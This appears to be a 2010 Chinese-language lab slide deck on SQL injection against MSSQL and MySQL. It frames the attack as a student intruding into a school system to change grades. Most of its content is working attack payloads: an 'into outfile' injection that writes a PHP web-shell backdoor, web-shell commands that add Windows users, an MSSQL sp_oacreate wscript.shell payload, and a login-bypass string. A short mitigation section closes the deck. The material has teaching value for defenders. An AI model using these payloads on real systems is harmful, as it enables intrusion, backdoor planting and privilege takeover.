200 likes | 308 Views
MSQL Injection & MYSQLInjection on VMITIN. 2010/10/27 曾家雄. 登入 VMITIN. 建立新的實驗專案. 建立 VLAN. 直接操控此電腦. R8 R9. MYSQL 部分. MYSQL 的問題. 沒有像 MSSQL 一樣可以取得 OS Object 的 Handle 功能 因為拿不到 cmd 的 Handle ,所以沒辦法直接用 SQL Injection 產生 OS 帳號 但 PHP 可以對 Windows Shell 操作 ( 弱點所在 ). 產生 PHP 的 backdoor.
E N D
MSQL Injection & MYSQLInjectionon VMITIN 2010/10/27 曾家雄
直接操控此電腦 R8 R9
MYSQL的問題 • 沒有像MSSQL一樣可以取得OSObject的Handle功能 • 因為拿不到cmd的Handle,所以沒辦法直接用SQL Injection產生OS帳號 • 但PHP可以對WindowsShell操作(弱點所在)
產生PHP的backdoor • 使用select into outfile 的漏洞 • 輸入SQL Injection • ' or 1=1; select '<?php $a = $_GET[\'cmd\']; echo `$a`; ?>' into outfile 'C:/AppServ/www/cmd.php'; # • 使用產生好的cmd.php來對OS下命令 • http://localhost/cmd.php?cmd= net user balck black /add
情境 • 小茂為了詐領獎學金,試圖入侵學校網頁竄改成績 • 最後在成績資料庫中建立管理帳號,以便使用易操作的軟體遠端控制資料庫 • 甚至建立具最高權限遠端控制該主機的帳號
取得系統管理員權限 • 通常管理員的帳號都喜歡用預設的 • 在帳號欄輸入Admin’ – • 程式的SQL敘述變成Select * From Teacher WhereTID = ‘Admin’--' And Password =‘ooo‘
取得教師證號 • 成功進入管理者介面取得教師證號 • 回登入頁面在帳號欄輸入T12345678’ – • 成功進入成績管理介面
在Windows中建立帳號 • 用Admin權限的帳號 • '; declare @shell int exec sp_oacreate 'wscript.shell', @shell output exec sp_oamethod @shell, 'run', null, 'c:\windows\system32\net user black black /add '--
C.P. MYSQL& MSQL • MSQL因為有與微軟產品做整合,所以可以透過SQL產生OS物件的Handle來使用OS內的物件 • MYSQL因為常與PHP合用,雖然SQL無法直接跟OS溝通,但是其有產生file的能力,若與PHP這樣的Script Language結合,一樣可以跟OS做溝通 • MYSQL跟PHP可以用於Linux與OS環境中,通用性高 • 最後測試的結果皆可以獲得OS的登入權限
其他SQL產品 • Oracle 一樣支援類似output file的指令 • Spool • 語法 • SQL> Spool onSQL> Spool c:\spooltext.txtSQL> QuerySQL> Spool off • 搭配Script Language同樣可以做到獲取OS登入權限的效果
解決方式 • 前端界面 • 應該在使用者輸入欄位時,立刻作規則文法的分析,當出現 ‘ # -- 等符號時,應予禁用 • 後端資料庫 • 程式對於後端資料庫的連線帳號,不可使用Administrator的權限,應該依照程式的需求,用多角色的方式,建立有限能力的連線 • Web Server之安裝 • 避免使用預設的目錄